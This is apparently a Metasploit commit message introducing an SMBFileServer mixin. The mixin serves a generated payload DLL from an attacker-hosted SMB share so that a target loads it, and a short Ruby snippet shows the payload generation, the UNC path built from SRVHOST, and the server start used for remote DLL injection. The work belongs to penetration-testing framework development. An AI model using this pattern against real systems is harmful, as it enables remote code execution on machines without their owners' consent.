Implement SMBFileServer mixin

In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.
    
This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.
    
Utilising the module (example):
   include Msf::Exploit::Remote::SMBFileServer
   exe = generate_payload_dll
   @exe_file = rand_text_alpha(7) + ".dll"
   @share = rand_text_alpha(5)
   my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
   Rex::Socket.source_address : datastore['SRVHOST']
   @unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
   start_smb_server(@unc, exe, @exe_file)
   // Inject DLL
   handle
    
A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb